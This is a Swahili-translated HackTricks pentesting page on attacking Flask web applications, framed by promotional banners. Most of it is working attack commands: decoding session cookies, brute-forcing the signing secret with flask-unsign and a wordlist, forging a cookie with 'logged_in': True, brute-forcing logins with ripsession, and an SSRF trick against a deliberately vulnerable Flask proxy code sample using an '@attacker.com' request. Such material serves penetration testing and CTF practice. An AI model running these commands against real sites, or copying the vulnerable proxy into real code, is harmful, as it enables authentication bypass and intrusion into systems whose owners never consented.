hacktricks/network-services-pentesting/pentesting-web/flask.md

5.6 KiB

Flask

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Tumia Trickest kujenga na kutumia mifumo ya kazi kwa kutumia zana za jamii za juu zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Labda ikiwa unacheza CTF programu ya Flask itahusiana na SSTI.

Vidakuzi

Jina la kikao cha kuki cha chaguo-msingi ni session.

Mchawi

Dukizi ya mtandaoni ya Flask: https://www.kirsle.net/wizards/flask-session.cgi

Mwongozo

Pata sehemu ya kwanza ya kuki hadi alama ya kwanza na ikibadilishe kwa Base64>

echo "ImhlbGxvIg" | base64 -d

Cookie pia inasainiwa kutumia nenosiri

Flask-Unsign

Zana ya mstari wa amri kutafuta, kudecode, kufanya nguvu ya kutumia na kutengeneza vidakuzi vya kikao vya programu ya Flask kwa kudhani funguo za siri.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Kuvunja Kwa Nguvu

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Kusaini

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Kusaini kwa kutumia toleo la zamani (legacy)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Chombo cha amri ya mstari wa amri kutumia nguvu kwenye tovuti kutumia vidakuzi vilivyoundwa na flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi katika kuki ya kikao cha Flask na SQLmap

Mfano huu hutumia chaguo la eval la sqlmap kwa kiotomatiki kusaini mizigo ya sqlmap kwa flask kwa kutumia siri inayojulikana.

Flask Proxy kwa SSRF

Katika andishi hili imeelezewa jinsi Flask inavyoruhusu ombi linaloanza na herufi "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Ni ipi katika hali ifuatayo:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Inaweza kuruhusu kuingiza kitu kama "@attacker.com" ili kusababisha SSRF.

Tumia Trickest kujenga na kutumia workflows kwa urahisi zinazotumia zana za jamii za juu zaidi ulimwenguni.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: